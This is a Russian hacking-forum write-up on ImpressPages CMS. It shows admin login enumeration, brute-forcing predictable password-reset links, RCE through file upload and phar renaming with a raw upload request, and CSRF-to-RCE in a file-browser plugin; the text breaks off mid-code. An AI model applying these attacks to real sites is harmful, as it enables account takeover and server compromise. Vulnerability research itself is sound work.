ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |

18.06.2021, 11:47
|
|
Guest
Сообщений: n/a
Провел на форуме: 92829
Репутация:
212
|
|
Сайт - impresspages.org
Версия 4.6.0 (+ 5.0.3)
Admin login|email harvestering
Разные ошибки для неправильного логина и пароля, позволяет перебрать админский логин.
Bypass auth
Зависимости
-- Наличие админского логина
-- Локальное время сервера
Ip/Internal/Administrators/Model.php
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]private static function[/COLOR][COLOR="#0000BB"]generatePasswordResetSecret[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$userId[/COLOR][COLOR="#007700"]) { [/COLOR][COLOR="#0000BB"]$secret[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]md5[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]ipConfig[/COLOR][COLOR="#007700"]()->[/COLOR][COLOR="#0000BB"]get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'sessionName'[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#0000BB"]uniqid[/COLOR][COLOR="#007700"]()); [/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]= array( [/COLOR][COLOR="#DD0000"]'resetSecret'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$secret[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]'resetTime'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]time[/COLOR][COLOR="#007700"]() ); [/COLOR][COLOR="#0000BB"]ipDb[/COLOR][COLOR="#007700"]()->[/COLOR][COLOR="#0000BB"]update[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'administrator'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"], array([/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$userId[/COLOR][COLOR="#007700"])); return[/COLOR][COLOR="#0000BB"]$secret[/COLOR][COLOR="#007700"]; } [/COLOR][/COLOR]
Линк на смену пароля генерируется из сессии + unix timestamp.
Генерируем список ссылок - брутим.
Код:
Code:
http://ip4.localhost.com/?sa=Admin.passwordReset&id=1&secret=b0d1993093080751147b5ab92d934d02
RCE
Зависимости:
-- Админские привилегии
-- Разрешение на выполнение phar
В админке все взаимодействие строится на подключенных модулях и вызова их методов.
Мы можем вызвать любой метод, определенный в AdminController.php, соответсвующих
модулей ядра и плагинов.
Загрузка файлов происходит без проверки содержимого, проверка расширения по белому листу.
И даже если бы могли грузить php, нам мешает .htaccess
Что можно с этим сделать?
Метод storeNewFiles() - перемещение загруженных файлов в папку file/repository
из file/tmp - причем мы можем это сделать сменив расширение. В папку secure
грузить смысла нет, так как второй .htaccess блочит доступ. Нам сгодится phar.
Ip/Internal/Repository/AdminController.php
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]public function[/COLOR][COLOR="#0000BB"]storeNewFiles[/COLOR][COLOR="#007700"]() { [/COLOR][COLOR="#0000BB"]ipRequest[/COLOR][COLOR="#007700"]()->[/COLOR][COLOR="#0000BB"]mustBePost[/COLOR][COLOR="#007700"](); [/COLOR][COLOR="#0000BB"]$post[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]ipRequest[/COLOR][COLOR="#007700"]()->[/COLOR][COLOR="#0000BB"]getPost[/COLOR][COLOR="#007700"](); [/COLOR][COLOR="#0000BB"]$secure[/COLOR][COLOR="#007700"]= !empty([/COLOR][COLOR="#0000BB"]$post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'secure'[/COLOR][COLOR="#007700"]]); [/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]= isset([/COLOR][COLOR="#0000BB"]$post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'path'[/COLOR][COLOR="#007700"]]) ?[/COLOR][COLOR="#0000BB"]$post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'path'[/COLOR][COLOR="#007700"]] :[/COLOR][COLOR="#0000BB"]null[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$browserModel[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]BrowserModel[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]instance[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]$browserModel[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]pathMustBeInRepository[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$secure[/COLOR][COLOR="#007700"]);
if (!isset([/COLOR][COLOR="#0000BB"]$post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'files'[/COLOR][COLOR="#007700"]]) || ![/COLOR][COLOR="#0000BB"]is_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'files'[/COLOR][COLOR="#007700"]])) { return new \[/COLOR][COLOR="#0000BB"]Ip[/COLOR][COLOR="#007700"]\[/COLOR][COLOR="#0000BB"]Response[/COLOR][COLOR="#007700"]\[/COLOR][COLOR="#0000BB"]Json[/COLOR][COLOR="#007700"](array([/COLOR][COLOR="#DD0000"]'status'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'error'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'errorMessage'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'Missing POST variable'[/COLOR][COLOR="#007700"])); }
[/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"]= isset([/COLOR][COLOR="#0000BB"]$post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'files'[/COLOR][COLOR="#007700"]]) ?[/COLOR][COLOR="#0000BB"]$post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'files'[/COLOR][COLOR="#007700"]] : [];
[/COLOR][COLOR="#0000BB"]$newFiles[/COLOR][COLOR="#007700"]= [];
[/COLOR][COLOR="#0000BB"]$destination[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$browserModel[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]getPath[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$secure[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]);
foreach ([/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]) { [/COLOR][COLOR="#0000BB"]$sourceDir[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'file/tmp/'[/COLOR][COLOR="#007700"]; if ([/COLOR][COLOR="#0000BB"]$secure[/COLOR][COLOR="#007700"]) { [/COLOR][COLOR="#0000BB"]$sourceDir[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'file/secure/tmp/'[/COLOR][COLOR="#007700"]; }
[/COLOR][COLOR="#0000BB"]$source[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]ipFile[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sourceDir[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'fileName'[/COLOR][COLOR="#007700"]]); [/COLOR][COLOR="#0000BB"]$source[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]realpath[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$source[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]//to avoid any tricks with relative paths, etc. [/COLOR][COLOR="#007700"]if ([/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$source[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]realpath[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]ipFile[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sourceDir[/COLOR][COLOR="#007700"]))) !==[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) { [/COLOR][COLOR="#0000BB"]ipLog[/COLOR][COLOR="#007700"]()->[/COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Core.triedToAccessNonPublicFile'[/COLOR][COLOR="#007700"], array([/COLOR][COLOR="#DD0000"]'file'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'fileName'[/COLOR][COLOR="#007700"]])); continue; }
[/COLOR][COLOR="#0000BB"]$newName[/COLOR][COLOR="#007700"]= \[/COLOR][COLOR="#0000BB"]Ip[/COLOR][COLOR="#007700"]\[/COLOR][COLOR="#0000BB"]Internal[/COLOR][COLOR="#007700"]\[/COLOR][COLOR="#0000BB"]File[/COLOR][COLOR="#007700"]\[/COLOR][COLOR="#0000BB"]Functions[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]genUnoccupiedName[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'renameTo'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$destination[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]copy[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$source[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$destination[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$newName[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]unlink[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$source[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]//this is a temporary file [/COLOR][COLOR="#0000BB"]$browserModel[/COLOR][COLOR="#007700"]= \[/COLOR][COLOR="#0000BB"]Ip[/COLOR][COLOR="#007700"]\[/COLOR][COLOR="#0000BB"]Internal[/COLOR][COLOR="#007700"]\[/COLOR][COLOR="#0000BB"]Repository[/COLOR][COLOR="#007700"]\[/COLOR][COLOR="#0000BB"]BrowserModel[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]instance[/COLOR][COLOR="#007700"](); [/COLOR][COLOR="#0000BB"]$newFile[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$browserModel[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]getFile[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$newName[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$secure[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$newFiles[/COLOR][COLOR="#007700"][] =[/COLOR][COLOR="#0000BB"]$newFile[/COLOR][COLOR="#007700"]; } [/COLOR][COLOR="#0000BB"]$answer[/COLOR][COLOR="#007700"]= array( [/COLOR][COLOR="#DD0000"]'status'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'success'[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]'files'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$newFiles [/COLOR][COLOR="#007700"]);
return new \[/COLOR][COLOR="#0000BB"]Ip[/COLOR][COLOR="#007700"]\[/COLOR][COLOR="#0000BB"]Response[/COLOR][COLOR="#007700"]\[/COLOR][COLOR="#0000BB"]Json[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$answer[/COLOR][COLOR="#007700"]); } [/COLOR][/COLOR]
Запрос на загрузку файла
[CODE]
Code:
POST / HTTP/1.1
Host: ip4.localhost.com
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://ip4.localhost.com/dddddddddddddddd/
Content-Type: multipart/form-data; boundary=---------------------------66207624121407658211508896721
Content-Length: 750
DNT: 1
Connection: close
Cookie: ses311298187=rg1gc0d7bru1k2no5mkisue2km;
Sec-GPC: 1
-----------------------------66207624121407658211508896721
Content-Disposition: form-data; name="name"
1.jpg
-----------------------------66207624121407658211508896721
Content-Disposition: form-data; name="sa"
Repository.upload
-----------------------------66207624121407658211508896721
Content-Disposition: form-data; name="secureFolder"
0
-----------------------------66207624121407658211508896721
Content-Disposition: form-data; name="securityToken"
eb763756cb06598270d99b1ab71b0bc6
-----------------------------66207624121407658211508896721
Content-Disposition: form-data; name="file"; filename="4.php"
Content-Type: application/octet-stream
|
|
|
|

30.08.2021, 18:48
|
|
Guest
Сообщений: n/a
Провел на форуме: 92829
Репутация:
212
|
|
CSRF -> RCE (bypass default samesite cookie value Lax)
Плагин File Browser v. 1.00
В целом обычная csrf в плагине и совершенно очевидный обход ограничений в PHP
приложениях дефолтных Samesite cookie Lax.
Из коробки POST запросы эксплуатировать тяжело, но большинство трудностей
улетучивается когда разрабы используют $_REQUEST или функции/конструкции наподобие
этих:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]$var[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'REQUEST_METHOD'[/COLOR][COLOR="#007700"]] ===[/COLOR][COLOR="#DD0000"]'POST'[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#FF8000"]# или например # from LiveStreet CMS
[/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]getRequest[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sName[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$default[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]null[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$sType[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]null[/COLOR][COLOR="#007700"]) { switch ([/COLOR][COLOR="#0000BB"]strtolower[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sType[/COLOR][COLOR="#007700"])) { default: case[/COLOR][COLOR="#0000BB"]null[/COLOR][COLOR="#007700"]: [/COLOR][COLOR="#0000BB"]$aStorage[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"]; break; case[/COLOR][COLOR="#DD0000"]'get'[/COLOR][COLOR="#007700"]: [/COLOR][COLOR="#0000BB"]$aStorage[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]; break; case[/COLOR][COLOR="#DD0000"]'post'[/COLOR][COLOR="#007700"]: [/COLOR][COLOR="#0000BB"]$aStorage[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"]; break; }
if (isset([/COLOR][COLOR="#0000BB"]$aStorage[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$sName[/COLOR][COLOR="#007700"]])) { if ([/COLOR][COLOR="#0000BB"]is_string[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$aStorage[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$sName[/COLOR][COLOR="#007700"]])) { return[/COLOR][COLOR="#0000BB"]trim[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$aStorage[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$sName[/COLOR][COLOR="#007700"]]); } else { return[/COLOR][COLOR="#0000BB"]$aStorage[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$sName[/COLOR][COLOR="#007700"]]; } } return[/COLOR][COLOR="#0000BB"]$default[/COLOR][COLOR="#007700"]; } [/COLOR][/COLOR]
Что впринципе мы и видим ниже, один и тот же запрос в GET и POST.
Хэш в запросе:
Plugin/Browser/elfinder/php/elFinderConnector.class.php
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]public function[/COLOR][COLOR="#0000BB"]run[/COLOR][COLOR="#007700"]() { [/COLOR][COLOR="#0000BB"]$isPost[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"REQUEST_METHOD"[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]'POST'[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$src[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"REQUEST_METHOD"[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]'POST'[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]; if ([/COLOR][COLOR="#0000BB"]$isPost[/COLOR][COLOR="#007700"]&& ![/COLOR][COLOR="#0000BB"]$src[/COLOR][COLOR="#007700"]&&[/COLOR][COLOR="#0000BB"]$rawPostData[/COLOR][COLOR="#007700"]= @[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'php://input'[/COLOR][COLOR="#007700"])) { [/COLOR][COLOR="#FF8000"]// for support IE XDomainRequest() [/COLOR][COLOR="#0000BB"]$parts[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'&'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$rawPostData[/COLOR][COLOR="#007700"]); foreach([/COLOR][COLOR="#0000BB"]$parts[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$part[/COLOR][COLOR="#007700"]) { list([/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]) =[/COLOR][COLOR="#0000BB"]array_pad[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'='[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$part[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$src[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]rawurldecode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]); } [/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$src[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]array_merge_recursive[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$src[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"]); } [/COLOR][COLOR="#0000BB"]$cmd[/COLOR][COLOR="#007700"]= isset([/COLOR][COLOR="#0000BB"]$src[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'cmd'[/COLOR][COLOR="#007700"]]) ?[/COLOR][COLOR="#0000BB"]$src[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'cmd'[/COLOR][COLOR="#007700"]] :[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$args[/COLOR][COLOR="#007700"]= array(); if (![/COLOR][COLOR="#0000BB"]function_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'json_encode'[/COLOR][COLOR="#007700"])) { [/COLOR][COLOR="#0000BB"]$error[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]elFinder[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]elFinder[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]ERROR_CONF[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]elFinder[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]ERROR_CONF_NO_JSON[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]output[/COLOR][COLOR="#007700"](array([/COLOR][COLOR="#DD0000"]'error'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'{"error":["'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]implode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'","'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$error[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]'"]}'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'raw'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"])); } if (![/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]elFinder[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]loaded[/COLOR][COLOR="#007700"]()) { [/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]output[/COLOR][COLOR="#007700"](array([/COLOR][COLOR="#DD0000"]'error'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]elFinder[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]elFinder[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]ERROR_CONF[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]elFinder[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]ERROR_CONF_NO_VOL[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#DD0000"]'debug'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]elFinder[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]mountErrors[/COLOR][COLOR="#007700"])); } [/COLOR][COLOR="#FF8000"]// telepat_mode: on [/COLOR][COLOR="#007700"]if (![/COLOR][COLOR="#0000BB"]$cmd[/COLOR][COLOR="#007700"]&&[/COLOR][COLOR="#0000BB"]$isPost[/COLOR][COLOR="#007700"]) { [/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]output[/COLOR][COLOR="#007700"](array([/COLOR][COLOR="#DD0000"]'error'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]elFinder[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]elFinder[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]ERROR_UPLOAD[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]elFinder[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]ERROR_UPLOAD_TOTAL_SIZE[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#DD0000"]'header'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'Content-Type: text/html'[/COLOR][COLOR="#007700"])); } [/COLOR][COLOR="#FF8000"]// telepat_mode: off [/COLOR][COLOR="#007700"]if (![/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]elFinder[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]commandExists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$cmd[/COLOR][COLOR="#007700"])) { [/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]output[/COLOR][COLOR="#007700"](array([/COLOR][COLOR="#DD0000"]'error'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]elFinder[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]elFinder[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]ERROR_UNKNOWN_CMD[/COLOR][COLOR="#007700"]))); } [/COLOR][COLOR="#FF8000"]// collect required arguments to exec command [/COLOR][COLOR="#007700"]foreach ([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]elFinder[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]commandArgsList[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$cmd[/COLOR][COLOR="#007700"]) as[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$req[/COLOR][COLOR="#007700"]) { [/COLOR][COLOR="#0000BB"]$arg[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]'FILES' [/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#0000BB"]$_FILES [/COLOR][COLOR="#007700"]: (isset([/COLOR][COLOR="#0000BB"]$src[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]]) ?[/COLOR][COLOR="#0000BB"]$src[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]] :[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]); if (![/COLOR][COLOR="#0000BB"]is_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$arg[/COLOR][COLOR="#007700"])) { [/COLOR][COLOR="#0000BB"]$arg[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]trim[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$arg[/COLOR][COLOR="#007700"]); } if ([/COLOR][COLOR="#0000BB"]$req[/COLOR][COLOR="#007700"]&& (!isset([/COLOR][COLOR="#0000BB"]$arg[/COLOR][COLOR="#007700"]) ||[/COLOR][COLOR="#0000BB"]$arg[/COLOR][COLOR="#007700"]===[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"])) { [/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]output[/COLOR][COLOR="#007700"](array([/COLOR][COLOR="#DD0000"]'error'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]elFinder[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]elFinder[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]ERROR_INV_PARAMS[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cmd[/COLOR][COLOR="#007700"]))); } [/COLOR][COLOR="#0000BB"]$args[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$arg[/COLOR][COLOR="#007700"]; } [/COLOR][COLOR="#0000BB"]$args[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'debug'[/COLOR][COLOR="#007700"]] = isset([/COLOR][COLOR="#0000BB"]$src[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'debug'[/COLOR][COLOR="#007700"]]) ? 